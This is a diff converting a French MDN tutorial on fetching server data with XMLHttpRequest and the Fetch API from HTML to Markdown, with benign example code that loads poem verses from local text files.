"Learn/JavaScript/Client-side_web_APIs")}} -<div>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</div> - -<p>Une autre tâche courante dans les sites et applications web modernes est de récupérer des données à partir du serveur pour mettre à jour des sections de la page web sans la recharger entièrement. Ce qui pourrait paraître comme un petit détail a, en vérité, eu un impact énorme sur les performances et le comportement des sites. Dans cet article, nous allons expliquer le concept et les technologies qui rendent cela possible, tels que XMLHttpRequest et l'API Fetch.</p> +Une autre tâche courante dans les sites et applications web modernes est de récupérer des données à partir du serveur pour mettre à jour des sections de la page web sans la recharger entièrement. Ce qui pourrait paraître comme un petit détail a, en vérité, eu un impact énorme sur les performances et le comportement des sites. Dans cet article, nous allons expliquer le concept et les technologies qui rendent cela possible, tels que XMLHttpRequest et l'API Fetch. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Notions de base de JavaScript (voir <a href="/fr/docs/Learn/JavaScript/First_steps">premiers pas</a>, <a href="/fr/Apprendre/JavaScript/Building_blocks">les briques JavaScript</a>, <a href="/fr/docs/Learn/JavaScript/Objects">les objets JavaScript</a>), les <a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction">notions de bases des APIs côté client</a></td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Apprendre à récupérer des données du serveur web et les utiliser pour mettre à jour le contenu de la page.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Notions de base de JavaScript (voir + <a href="/fr/docs/Learn/JavaScript/First_steps">premiers pas</a>, + <a href="/fr/Apprendre/JavaScript/Building_blocks" + >les briques JavaScript</a + >, + <a href="/fr/docs/Learn/JavaScript/Objects">les objets JavaScript</a>), + les + <a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction" + >notions de bases des APIs côté client</a + > + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Apprendre à récupérer des données du serveur web et les utiliser pour + mettre à jour le contenu de la page. + </td> + </tr> + </tbody> </table> -<h2 id="Quel_est_le_problème">Quel est le problème?</h2> +## Quel est le problème? -<p>À la base, le chargement d'une page web est simple — vous envoyez une requête à un serveur et, tant qu'il n'y a pas eu de problème, les ressources de la page web sont téléchargées et affichées sur votre ordinateur.</p> +À la base, le chargement d'une page web est simple — vous envoyez une requête à un serveur et, tant qu'il n'y a pas eu de problème, les ressources de la page web sont téléchargées et affichées sur votre ordinateur. -<p><img alt="A basic representation of a web site architecture" src="web-site-architechture@2x.png"></p> + -<p>Le problème avec ce modèle c'est qu'à chaque fois que vous voulez mettre à jour une partie de la page, par exemple pour afficher la page suivante d'une liste de produits, vous devez recharger toute la page. Ce surcoût est tout à fait inutile et résulte en une mauvaise expérience utilisateur, particulièrement pour les pages qui sont lourdes, complexes et du coup longues à charger.</p> +Le problème avec ce modèle c'est qu'à chaque fois que vous voulez mettre à jour une partie de la page, par exemple pour afficher la page suivante d'une liste de produits, vous devez recharger toute la page. Ce surcoût est tout à fait inutile et résulte en une mauvaise expérience utilisateur, particulièrement pour les pages qui sont lourdes, complexes et du coup longues à charger. -<h3 id="Larrivée_dAjax">L'arrivée d'Ajax</h3> +### L'arrivée d'Ajax -<p>Pour traiter ce problème, des technologies ont été élaborées qui permettent de récupérer à la demande de petites portions de données (comme du <a href="/fr/docs/Web/HTML">HTML</a>, {{glossary("XML")}}, <a href="/fr/docs/Learn/JavaScript/Objects/JSON">JSON</a>, ou texte brut) et de les afficher dans la page web.</p> +Pour traiter ce problème, des technologies ont été élaborées qui permettent de récupérer à la demande de petites portions de données (comme du [HTML](/fr/docs/Web/HTML), {{glossary("XML")}}, [JSON](/fr/docs/Learn/JavaScript/Objects/JSON), ou texte brut) et de les afficher dans la page web. -<p>Nous avons pour cela l'API {{domxref("XMLHttpRequest")}} à notre disposition ou — plus récemment — l'<a href="/fr/docs/Web/API/Fetch_API">API Fetch</a>. Elles permettent de réaliser des requêtes <a href="/fr/docs/Web/HTTP">HTTP</a> pour récupérer des ressources spécifiques disponibles sur un serveur et de formater les données retournées selon les besoins avant l'affichage dans la page.</p> +Nous avons pour cela l'API {{domxref("XMLHttpRequest")}} à notre disposition ou — plus récemment — l'[API Fetch](/fr/docs/Web/API/Fetch_API). Elles permettent de réaliser des requêtes [HTTP](/fr/docs/Web/HTTP) pour récupérer des ressources spécifiques disponibles sur un serveur et de formater les données retournées selon les besoins avant l'affichage dans la page. -<div class="note"> -<p><strong>Note :</strong> Dans les premiers temps, cette technique était appelée "Asynchronous JavaScript and XML" (JavaScript asychrone et XML), dit AJAX, parce qu'elle utilisait {{domxref("XMLHttpRequest")}} pour requêter des données XML. De nos jours, c'est rarement le cas; la plupart du temps, on utilise <code>XMLHttpRequest</code> ou Fetch pour requêter des données JSON. Quoi qu'il en soit, le procédé reste le même et le terme "Ajax" est resté pour décrire cette technique.</p> -</div> +> **Note :** Dans les premiers temps, cette technique était appelée "Asynchronous JavaScript and XML" (JavaScript asychrone et XML), dit AJAX, parce qu'elle utilisait {{domxref("XMLHttpRequest")}} pour requêter des données XML. De nos jours, c'est rarement le cas; la plupart du temps, on utilise `XMLHttpRequest` ou Fetch pour requêter des données JSON. Quoi qu'il en soit, le procédé reste le même et le terme "Ajax" est resté pour décrire cette technique. -<p><img alt="A simple modern architecture for web sites" src="moderne-web-site-architechture@2x.png"></p> + -<p>Le modèle Ajax implique une API web comme proxy pour requêter les données plus intelligemment que simplement rafraîchir la page à chaque fois. Voyons plutôt l'impact que cela a :</p> +Le modèle Ajax implique une API web comme proxy pour requêter les données plus intelligemment que simplement rafraîchir la page à chaque fois. Voyons plutôt l'impact que cela a : -<ol> - <li>Allez sur un site riche en information de votre choix, comme Amazon, YouTube, CNN...</li> - <li>Cherchez quelque chose dans la barre de recherche, comme un nouveau produit. Le contenu principal va changer, mais la plupart de ce qui l'entoure reste statique, comme l'entête, le pied de page, le menu de navigation, etc.</li> -</ol> +1. Allez sur un site riche en information de votre choix, comme Amazon, YouTube, CNN... +2. Cherchez quelque chose dans la barre de recherche, comme un nouveau produit. Le contenu principal va changer, mais la plupart de ce qui l'entoure reste statique, comme l'entête, le pied de page, le menu de navigation, etc. -<p>C'est une bonne chose puisque :</p> +C'est une bonne chose puisque : -<ul> - <li>La mise à jour de la page est beaucoup plus rapide et vous n'avez pas à attendre que la page se rafraîchisse, si bien que le site paraît être plus rapide et plus réactif.</li> - <li>Moins de données doivent être téléchargées pour mettre à jour la page, et donc moins de bande passante est utilisée. Cela ne fait peut-être pas une grande différence sur un ordinateur de bureau, mais cela peut devenir un problème majeur sur mobile ou dans les pays en développement, qui n'ont pas partout un service Internet ultra-rapide.</li> -</ul> +- La mise à jour de la page est beaucoup plus rapide et vous n'avez pas à attendre que la page se rafraîchisse, si bien que le site paraît être plus rapide et plus réactif. +- Moins de données doivent être téléchargées pour mettre à jour la page, et donc moins de bande passante est utilisée. Cela ne fait peut-être pas une grande différence sur un ordinateur de bureau, mais cela peut devenir un problème majeur sur mobile ou dans les pays en développement, qui n'ont pas partout un service Internet ultra-rapide. -<p>Notez que pour accélerer les choses encore davantage, certains sites stockent les ressources et données chez le client lors de sa première visite, si bien que les visites suivantes, les fichiers locaux sont utilisés et non re-téléchargés du serveur. Le contenu n'est rechargé que lorsqu'il a été mis à jour sur le serveur.</p> +Notez que pour accélerer les choses encore davantage, certains sites stockent les ressources et données chez le client lors de sa première visite, si bien que les visites suivantes, les fichiers locaux sont utilisés et non re-téléchargés du serveur. Le contenu n'est rechargé que lorsqu'il a été mis à jour sur le serveur. -<p><img alt="A basic web app data flow architecture" src="web-app-architecture@2x.png"></p> + -<h2 id="Une_requête_Ajax_basique">Une requête Ajax basique</h2> +## Une requête Ajax basique -<p>Voyons maintenant comment ces requêtes sont gérées, en utilisant soit {{domxref("XMLHttpRequest")}} soit <a href="/fr/docs/Web/API/Fetch_API">Fetch</a>. Pour ces exemples, nous allons requêter les données de différents fichiers texte et les utiliserons pour remplir une zone de contenu.</p> +Voyons maintenant comment ces requêtes sont gérées, en utilisant soit {{domxref("XMLHttpRequest")}} soit [Fetch](/fr/docs/Web/API/Fetch_API). Pour ces exemples, nous allons requêter les données de différents fichiers texte et les utiliserons pour remplir une zone de contenu. -<p>Ces fichiers agiront comme une fausse base de données ; dans une vraie application, il est plus probable que vous utiliseriez un langage côté serveur comme PHP, Python, ou Node pour récupérer les données à partir d'une véritable base de données. En revanche, nous voulons ici garder les choses simples ; nous allons donc nous concentrer sur le côté client.</p> +Ces fichiers agiront comme une fausse base de données ; dans une vraie application, il est plus probable que vous utiliseriez un langage côté serveur comme PHP, Python, ou Node pour récupérer les données à partir d'une véritable base de données. En revanche, nous voulons ici garder les choses simples ; nous allons donc nous concentrer sur le côté client. -<h3 id="XMLHttpRequest">XMLHttpRequest</h3> +### XMLHttpRequest -<p><code>XMLHttpRequest</code> (qui est fréquemment abrégé XHR) est une technologie assez vieille maintenant — elle a été inventée par Microsoft dans les années 90 et a été standardisée dans les autres navigateurs il y a longtemps.</p> +`XMLHttpRequest` (qui est fréquemment abrégé XHR) est une technologie assez vieille maintenant — elle a été inventée par Microsoft dans les années 90 et a été standardisée dans les autres navigateurs il y a longtemps. -<ol> - <li> - <p>Pour commencer cet exemple, faites une copie locale de <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/ajax-start.html">ajax-start.html</a> et des quatre fichiers texte — <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse1.txt">verse1.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse2.txt">verse2.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse3.txt">verse3.txt</a>, et <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse4.txt">verse4.txt</a> — dans un nouveau répertoire sur votre ordinateur. Dans cet exemple, nous allons charger le verset d'un poème (que vous pourriez bien reconnaître), quand il est sélectionné dans le menu déroulant, en utilisant XHR.</p> - </li> - <li> - <p>À l'intérieur de l'élément {{htmlelement("script")}}, ajoutez le code qui suit. Il stocke une référence aux éléments {{htmlelement("select")}} et {{htmlelement("pre")}} dans des variables et définit un gestionnaire d'événement {{domxref("GlobalEventHandlers.onchange","onchange")}}, pour que, quand la valeur du menu déroulant est changée, la valeur sélectionnée soit passée comme paramètre à la fonction <code>updateDisplay()</code>.</p> +1. Pour commencer cet exemple, faites une copie locale de [ajax-start.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/ajax-start.html) et des quatre fichiers texte — [verse1.txt](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse1.txt), [verse2.txt](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse2.txt), [verse3.txt](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse3.txt), et [verse4.txt](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse4.txt) — dans un nouveau répertoire sur votre ordinateur. Dans cet exemple, nous allons charger le verset d'un poème (que vous pourriez bien reconnaître), quand il est sélectionné dans le menu déroulant, en utilisant XHR. +2. À l'intérieur de l'élément {{htmlelement("script")}}, ajoutez le code qui suit. Il stocke une référence aux éléments {{htmlelement("select")}} et {{htmlelement("pre")}} dans des variables et définit un gestionnaire d'événement {{domxref("GlobalEventHandlers.onchange","onchange")}}, pour que, quand la valeur du menu déroulant est changée, la valeur sélectionnée soit passée comme paramètre à la fonction `updateDisplay()`. - <pre class="brush: js">var verseChoose = document.querySelector('select'); -var poemDisplay = document.querySelector('pre'); + ```js + var verseChoose = document.querySelector('select'); + var poemDisplay = document.querySelector('pre'); -verseChoose.onchange = function() { - var verse = verseChoose.value; - updateDisplay(verse); -};</pre> - </li> - <li> - <p>Définissons maintenant la fonction <code>updateDisplay()</code>. Tout d'abord, mettez ce qui suit au bas de votre JavaScript — c'est la structure vide de la fonction :</p> + verseChoose.onchange = function() { + var verse = verseChoose.value; + updateDisplay(verse); + }; + ``` - <pre class="brush: js">function updateDisplay(verse) { +3. Définissons maintenant la fonction `updateDisplay()`. Tout d'abord, mettez ce qui suit au bas de votre JavaScript — c'est la structure vide de la fonction : -};</pre> - </li> - <li> - <p>Nous allons commencer notre fonction en construisant une URL relative qui pointe vers le fichier texte que nous voulons charger, nous en aurons besoin plus tard. La valeur de l'élément {{htmlelement("select")}} à tout instant est la même que l'élément {{htmlelement("option")}} sélectionné (c'est à dire le texte de l'élément sélectionné, ou son attribut <code>value</code> s'il est spécifié) — par exemple "Verse 1". Le fichier correspondant est "verse1.txt" et il est situé dans le même répertoire que le fichier HTML, le nom du fichier seul suffira donc.</p> + ```js + function updateDisplay(verse) { - <p>Les serveurs web sont généralement sensibles à la casse, le nom de fichier n'a pas d'espace et a une extension de fichier. Pour convertir "Verse 1" en "verse1.txt" nous allons convertir le "V" en minuscles avec {{jsxref("String.toLowerCase", "toLowerCase()")}}, supprimer l'espace avec {{jsxref("String.replace", "replace()")}} et ajouter ".txt" à la fin avec une simple <a href="/fr/docs/Learn/JavaScript/First_steps/Strings#Concaténation_de_chaînes">concaténation de chaînes</a>. Ajoutez les lignes suivantes à l'intérieur de la fonction <code>updateDisplay()</code> :</p> + }; + ``` - <pre class="brush: js">verse = verse.replace(" ", ""); -verse = verse.toLowerCase(); -var url = verse + '.txt';</pre> - </li> - <li> - <p>Pour commencer à créer une requête XHR, vous allez devoir créer un nouvel objet avec le constructeur {{domxref("XMLHttpRequest.XMLHttpRequest", "XMLHttpRequest()")}}. Vous pouvez appeler cet objet comme vous le voulez, mais nous l'appellerons <code>request</code> pour plus de clarté. Ajoutez ce qui suit à vos lignes précédentes :</p> +4. Nous allons commencer notre fonction en construisant une URL relative qui pointe vers le fichier texte que nous voulons charger, nous en aurons besoin plus tard. La valeur de l'élément {{htmlelement("select")}} à tout instant est la même que l'élément {{htmlelement("option")}} sélectionné (c'est à dire le texte de l'élément sélectionné, ou son attribut `value` s'il est spécifié) — par exemple "Verse 1". Le fichier correspondant est "verse1.txt" et il est situé dans le même répertoire que le fichier HTML, le nom du fichier seul suffira donc. - <pre class="brush: js">var request = new XMLHttpRequest();</pre> - </li> - <li> - <p>Ensuite, vous allez devoir utiliser la méthode {{domxref("XMLHttpRequest.open","open()")}} pour spécifier la <a href="/fr/docs/Web/HTTP/Méthode">méthode HTTP</a> et l'URL à utiliser pour récupérer la ressource. Nous allons ici utiliser la méthode <code><a href="/fr/docs/Web/HTTP/Méthode/GET">GET</a></code> et passer notre variable <code>url</code> pour URL. Ajoutez ceci à la suite de la ligne précédente :</p> + Les serveurs web sont généralement sensibles à la casse, le nom de fichier n'a pas d'espace et a une extension de fichier. Pour convertir "Verse 1" en "verse1.txt" nous allons convertir le "V" en minuscles avec {{jsxref("String.toLowerCase", "toLowerCase()")}}, supprimer l'espace avec {{jsxref("String.replace", "replace()")}} et ajouter ".txt" à la fin avec une simple [concaténation de chaînes](/fr/docs/Learn/JavaScript/First_steps/Strings#Concaténation_de_chaînes). Ajoutez les lignes suivantes à l'intérieur de la fonction `updateDisplay()` : - <pre class="brush: js">request.open('GET', url);</pre> - </li> - <li> - <p>Nous allons définir le type de réponse que nous attendons — définit par la propriété {{domxref("XMLHttpRequest.responseType", "responseType")}} de la requête — comme <code>text</code>. Ce n'est pas strictement nécessaire ici — XHR retourne du texte par défaut — mais c'est une bonne idée d'en prendre l'habitude pour les cas où vous aurez besoin de définir un type différent. Ajoutez ceci à la suite :</p> + ```js + verse = verse.replace(" ", ""); + verse = verse.toLowerCase(); + var url = verse + '.txt'; + ``` - <pre class="brush: js">request.responseType = 'text';</pre> - </li> - <li> - <p>Récupérer une ressource sur le réseau est une opération {{glossary("asynchronous","asynchrone")}}, ce qui signifie que vous devez attendre que cette opération se termine (par exemple, que la ressource soit renvoyée) avant de pouvoir récupérer la réponse — sans quoi une erreur est levée. XHR permet d'exécuter du code lorsque la réponse est reçue grâce au gestionnaire d'événement {{domxref("XMLHttpRequest.onload", "onload")}} — quand l'événement {{event("load")}} est déclenché. Une fois que la réponse a été reçue, alors la réponse est accessible via la propriété <code>response</code> de l'objet XHR utilisé.</p> +5. Pour commencer à créer une requête XHR, vous allez devoir créer un nouvel objet avec le constructeur {{domxref("XMLHttpRequest.XMLHttpRequest", "XMLHttpRequest()")}}. Vous pouvez appeler cet objet comme vous le voulez, mais nous l'appellerons `request` pour plus de clarté. Ajoutez ce qui suit à vos lignes précédentes : - <p>Ajoutez le bloc de code qui suit toujours au bas de la fonction <code>updateDisplay()</code>. Vous verrez qu'à l'intérieur du gestionnaire d'événément <code>onload</code>, nous assignons la propriété <code><a href="/fr/docs/Web/API/Node/textContent">textContent</a></code> de <code>poemDisplay</code> (l'élément {{htmlelement("pre")}}) à la valeur de la propriété {{domxref("XMLHttpRequest.response", "request.response")}}.</p> + ```js + var request = new XMLHttpRequest(); + ``` - <pre class="brush: js">request.onload = function() { - poemDisplay.textContent = request.response; -};</pre> - </li> - <li> - <p>Les étapes précédentes nous ont permis de configurer la requête XHR, mais celle-ci n'est exécutée que lorsqu'on le demande explicitement. Pour ce faire, il faut appeler la méthode {{domxref("XMLHttpRequest.send","send()")}}. Ajoutez la ligne suivante à la suite du code déjà écrit :</p> +6. Ensuite, vous allez devoir utiliser la méthode {{domxref("XMLHttpRequest.open","open()")}} pour spécifier la [méthode HTTP](/fr/docs/Web/HTTP/Méthode) et l'URL à utiliser pour récupérer la ressource. Nous allons ici utiliser la méthode [`GET`](/fr/docs/Web/HTTP/Méthode/GET) et passer notre variable `url` pour URL. Ajoutez ceci à la suite de la ligne précédente : - <pre class="brush: js">request.send();</pre> + ```js + request.open('GET', url); + ``` - <p>Voyez la section {{anch("Serving your example from a server", "Servir votre exemple depuis un serveur")}} pour pouvoir tester.</p> - </li> - <li> - <p>Un dernier problème avec cet exemple est qu'il ne montre rien au chargement de la page (mais uniquement à la sélection d'un verset). Pour corriger cela, ajoutez ce qui suit au bas de votre code (juste au-dessus de la balise fermante <code></script></code>), pour charger le verset 1 par défaut, et s'assurer que l'élément {{htmlelement("select")}} montre toujours la bonne valeur :</p> +7. Nous allons définir le type de réponse que nous attendons — définit par la propriété {{domxref("XMLHttpRequest.responseType", "responseType")}} de la requête — comme `text`. Ce n'est pas strictement nécessaire ici — XHR retourne du texte par défaut — mais c'est une bonne idée d'en prendre l'habitude pour les cas où vous aurez besoin de définir un type différent. Ajoutez ceci à la suite : - <pre class="brush: js">updateDisplay('Verse 1'); -verseChoose.value = 'Verse 1';</pre> - </li> -</ol> + ```js + request.responseType = 'text'; + ``` -<h3 id="Servir_votre_exemple_depuis_un_serveur">Servir votre exemple depuis un serveur</h3> +8. Récupérer une ressource sur le réseau est une opération {{glossary("asynchronous","asynchrone")}}, ce qui signifie que vous devez attendre que cette opération se termine (par exemple, que la ressource soit renvoyée) avant de pouvoir récupérer la réponse — sans quoi une erreur est levée. XHR permet d'exécuter du code lorsque la réponse est reçue grâce au gestionnaire d'événement {{domxref("XMLHttpRequest.onload", "onload")}} — quand l'événement {{event("load")}} est déclenché. Une fois que la réponse a été reçue, alors la réponse est accessible via la propriété `response` de l'objet XHR utilisé. -<p>Certains navigateurs (dont Chrome) n'exécuteront pas de requêtes XHR si vous exécutez votre script simplement à partir d'un fichier local. Cela est dû à des restrictions de sécurité (pour plus d'infos sur la sécurité web, consultez l'article <a href="/fr/docs/Learn/Server-side/First_steps/Website_security">La sécurité d'un site web</a>).</p> + Ajoutez le bloc de code qui suit toujours au bas de la fonction `updateDisplay()`. Vous verrez qu'à l'intérieur du gestionnaire d'événément `onload`, nous assignons la propriété [`textContent`](/fr/docs/Web/API/Node/textContent) de `poemDisplay` (l'élément {{htmlelement("pre")}}) à la valeur de la propriété {{domxref("XMLHttpRequest.response", "request.response")}}. -<p>Pour règler ce problème, vous devez tester l'exemple à travers un serveur web local. Pour savoir comment procéder, lisez <a href="/fr/Apprendre/Common_questions/configurer_un_serveur_de_test_local">Comment configurer un serveur de test local?</a></p> + ```js + request.onload = function() { + poemDisplay.textContent = request.response; + }; + ``` -<h3 id="Fetch">Fetch</h3> +9. Les étapes précédentes nous ont permis de configurer la requête XHR, mais celle-ci n'est exécutée que lorsqu'on le demande explicitement. Pour ce faire, il faut appeler la méthode {{domxref("XMLHttpRequest.send","send()")}}. Ajoutez la ligne suivante à la suite du code déjà écrit : -<p>L'API Fetch est une solution moderne qui vient remplacer XHR — elle a été introduite récemment dans les navigateurs pour rendre les requêtes HTTP asynchrones plus simples en JavaScript, à la fois pour les développeurs et pour les autres APIs qui utilisent cette technologie.</p> + ```js + request.send(); + ``` -<p>Voyons comment convertir le dernier exemple, en remplaçant XHR par Fetch.</p> + Voyez la section {{anch("Serving your example from a server", "Servir votre exemple depuis un serveur")}} pour pouvoir tester. -<ol> - <li> - <p>Faites une copie du répertoire de votre dernier exemple. (Ou si vous ne l'avez pas fait, créez un nouveau répertoire et copiez le fichier <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/xhr-basic.html">xhr-basic.html</a> et les quatre fichiers texte — <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse1.txt">verse1.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse2.txt">verse2.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse3.txt">verse3.txt</a>, and <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse4.txt">verse4.txt</a> — à l'intérieur).</p> - </li> - <li> - <p>À l'intérieur de la fonction <code>updateDisplay()</code>, vous avez le code XHR suivant :</p> +10. Un dernier problème avec cet exemple est qu'il ne montre rien au chargement de la page (mais uniquement à la sélection d'un verset). Pour corriger cela, ajoutez ce qui suit au bas de votre code (juste au-dessus de la balise fermante `</script>`), pour charger le verset 1 par défaut, et s'assurer que l'élément {{htmlelement("select")}} montre toujours la bonne valeur : - <pre class="brush: js">var request = new XMLHttpRequest(); -request.open('GET', url); -request.responseType = 'text'; + ```js + updateDisplay('Verse 1'); + verseChoose.value = 'Verse 1'; + ``` -request.onload = function() { - poemDisplay.textContent = request.response; -}; +### Servir votre exemple depuis un serveur -request.send();</pre> - </li> - <li> - <p>Remplacez-le avec ce qui suit :</p> +Certains navigateurs (dont Chrome) n'exécuteront pas de requêtes XHR si vous exécutez votre script simplement à partir d'un fichier local. Cela est dû à des restrictions de sécurité (pour plus d'infos sur la sécurité web, consultez l'article [La sécurité d'un site web](/fr/docs/Learn/Server-side/First_steps/Website_security)). - <pre class="brush: js">fetch(url).then(function(response) { - response.text().then(function(text) { - poemDisplay.textContent = text; - }); -});</pre> - </li> - <li> - <p>Chargez l'exemple dans votre navigateur (en l'exécutant à travers un serveur web) et il devrait produire le même résultat que la version XHR — pourvu que vous utilisiez un navigateur moderne.</p> - </li> -</ol> +Pour règler ce problème, vous devez tester l'exemple à travers un serveur web local. Pour savoir comment procéder, lisez [Comment configurer un serveur de test local?](/fr/Apprendre/Common_questions/configurer_un_serveur_de_test_local) + +### Fetch + +L'API Fetch est une solution moderne qui vient remplacer XHR — elle a été introduite récemment dans les navigateurs pour rendre les requêtes HTTP asynchrones plus simples en JavaScript, à la fois pour les développeurs et pour les autres APIs qui utilisent cette technologie. + +Voyons comment convertir le dernier exemple, en remplaçant XHR par Fetch. + +1. Faites une copie du répertoire de votre dernier exemple. (Ou si vous ne l'avez pas fait, créez un nouveau répertoire et copiez le fichier [xhr-basic.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/xhr-basic.html) et les quatre fichiers texte — [verse1.txt](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse1.txt), [verse2.txt](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse2.txt), [verse3.txt](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse3.txt), and [verse4.txt](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse4.txt) — à l'intérieur). +2. À l'intérieur de la fonction `updateDisplay()`, vous avez le code XHR suivant : -<h4 id="Que_se_passe-t-il_dans_le_code_Fetch">Que se passe-t-il dans le code Fetch?</h4> + ```js + var request = new XMLHttpRequest(); + request.open('GET', url); + request.responseType = 'text'; -<p>Tout d'abord, nous invoquons la méthode {{domxref("WindowOrWorkerGlobalScope.fetch()","fetch()")}}, en lui passant l'URL de la ressource que nous voulons récupérer. C'est la version moderne équivalente à {{domxref("XMLHttpRequest.open","request.open()")}} de XHR, et n'avez pas à appeler <code>.send()</code> — la requête est exécutée directemment.</p> + request.onload = function() { + poemDisplay.textContent = request.response; + }; -<p>Ensuite, la méthode {{jsxref("Promise.then",".then()")}} est chaînée à la suite de <code>fetch()</code> — cette méthode fait partie des {{jsxref("Promise","Promesses")}}, une fonctionnalité JavaScript moderne qui permet d'effectuer des opérations asynchrones. <code>fetch()</code> retourne une promesse, qui est résolue lorsque la réponse est reçue du serveur — et nous utilisons <code>.then()</code> pour exécuter du code à ce moment là. C'est l'équivalent du gestionnaire d'événément <code>onload</code> dans la version XHR.</p> + request.send(); + ``` -<p>La fonction définie dans le <code>.then()</code> reçoit la réponse du serveur comme paramètre, une fois que la promesse retournée par <code>fetch()</code> est résolue. À l'intérieur de cette fonction, nous utilisons la méthode {{domxref("Body.text","text()")}} pour récupérer le contenu de la réponse en texte brut. C'est l'équivalent de <code>request.responseType = 'text'</code> dans la version XHR.</p> +3. Remplacez-le avec ce qui suit : -<p>Vous verrez que <code>text()</code> retourne également une promesse, nous y chaînons donc un nouveau <code>.then()</code>, à l'intérieur de quoi nous définissons une fonction. Cette dernière récupère quant à elle le texte brut que la promesse précédente résout.</p> + ```js + fetch(url).then(function(response) { + response.text().then(function(text) { + poemDisplay.textContent = text; + }); + }); + ``` + +4. Chargez l'exemple dans votre navigateur (en l'exécutant à travers un serveur web) et il devrait produire le même résultat que la version XHR — pourvu que vous utilisiez un navigateur moderne. + +#### Que se passe-t-il dans le code Fetch? + +Tout d'abord, nous invoquons la méthode {{domxref("WindowOrWorkerGlobalScope.fetch()","fetch()")}}, en lui passant l'URL de la ressource que nous voulons récupérer. C'est la version moderne équivalente à {{domxref("XMLHttpRequest.open","request.open()")}} de XHR, et n'avez pas à appeler `.send()` — la requête est exécutée directemment. -<p>Enfin, dans le corps de la fonction, nous faisons la même chose que nous faisions dans la version XHR — définir le contenu texte de l'élément {{htmlelement("pre")}} au texte récupéré.</p> +Ensuite, la méthode {{jsxref("Promise.then",".then()")}} est chaînée à la suite de `fetch()` — cette méthode fait partie des {{jsxref("Promise","Promesses")}}, une fonctionnalité JavaScript moderne qui permet d'effectuer des opérations asynchrones. `fetch()` retourne une promesse, qui est résolue lorsque la réponse est reçue du serveur — et nous utilisons `.then()` pour exécuter du code à ce moment là. C'est l'équivalent du gestionnaire d'événément `onload` dans la version XHR. -<h3 id="À_propos_des_promesses">À propos des promesses</h3> +La fonction définie dans le `.then()` reçoit la réponse du serveur comme paramètre, une fois que la promesse retournée par `fetch()` est résolue. À l'intérieur de cette fonction, nous utilisons la méthode {{domxref("Body.text","text()")}} pour récupérer le contenu de la réponse en texte brut. C'est l'équivalent de `request.responseType = 'text'` dans la version XHR. -<p>Les promesses peuvent être un peu déroutantes au premier abord, ne vous en souciez pas trop pour l'instant. Vous vous y ferez après un certain temps, d'autant plus après en avoir appris davantage sur les APIs JavaScript modernes — la plupart des APIs récentes utilisent beaucoup les promesses.</p> +Vous verrez que `text()` retourne également une promesse, nous y chaînons donc un nouveau `.then()`, à l'intérieur de quoi nous définissons une fonction. Cette dernière récupère quant à elle le texte brut que la promesse précédente résout. -<p>Regardons à nouveau la structure d'une promesse pour voir si nous pouvons en donner plus de sens.</p> +Enfin, dans le corps de la fonction, nous faisons la même chose que nous faisions dans la version XHR — définir le contenu texte de l'élément {{htmlelement("pre")}} au texte récupéré. -<h4 id="Promesse_1">Promesse 1</h4> +### À propos des promesses -<pre class="brush: js">fetch(url).then(function(response) { +Les promesses peuvent être un peu déroutantes au premier abord, ne vous en souciez pas trop pour l'instant. Vous vous y ferez après un certain temps, d'autant plus après en avoir appris davantage sur les APIs JavaScript modernes — la plupart des APIs récentes utilisent beaucoup les promesses. + +Regardons à nouveau la structure d'une promesse pour voir si nous pouvons en donner plus de sens. + +#### Promesse 1 + +```js +fetch(url).then(function(response) { //... -});</pre> +}); +``` -<p>Si l'on traduit en bon français les instructions JavaScript, on pourrait dire</p> +Si l'on traduit en bon français les instructions JavaScript, on pourrait dire -<ul> - <li><code>fetch(url)</code> : récupérer la ressource située à l'adresse <code>url</code></li> - <li><code>.then(function() { ... })</code>: quand c'est fait, exécuter la fonction spécifiée</li> -</ul> +- `fetch(url)` : récupérer la ressource située à l'adresse `url` +- `.then(function() { ... })`: quand c'est fait, exécuter la fonction spécifiée -<p>On dit qu'une promesse est "résolue" (resolved) lorsque l'opération spécifiée à un moment donné est terminée. En l'occurence, l'opération spécifiée est de récupérer une ressource à une URL donnée (en utilisant une requête HTTP) et de retourner la réponse reçue du serveur.</p> +On dit qu'une promesse est "résolue" (resolved) lorsque l'opération spécifiée à un moment donné est terminée. En l'occurence, l'opération spécifiée est de récupérer une ressource à une URL donnée (en utilisant une requête HTTP) et de retourner la réponse reçue du serveur. -<p>La fonction passée à <code>then()</code> n'est pas exécutée immédiatement — elle est exécutée à un moment dans le futur, dès que la promesse est résolue (c'est à dire qu'elle a retourné la réponse du serveur).</p> +La fonction passée à `then()` n'est pas exécutée immédiatement — elle est exécutée à un moment dans le futur, dès que la promesse est résolue (c'est à dire qu'elle a retourné la réponse du 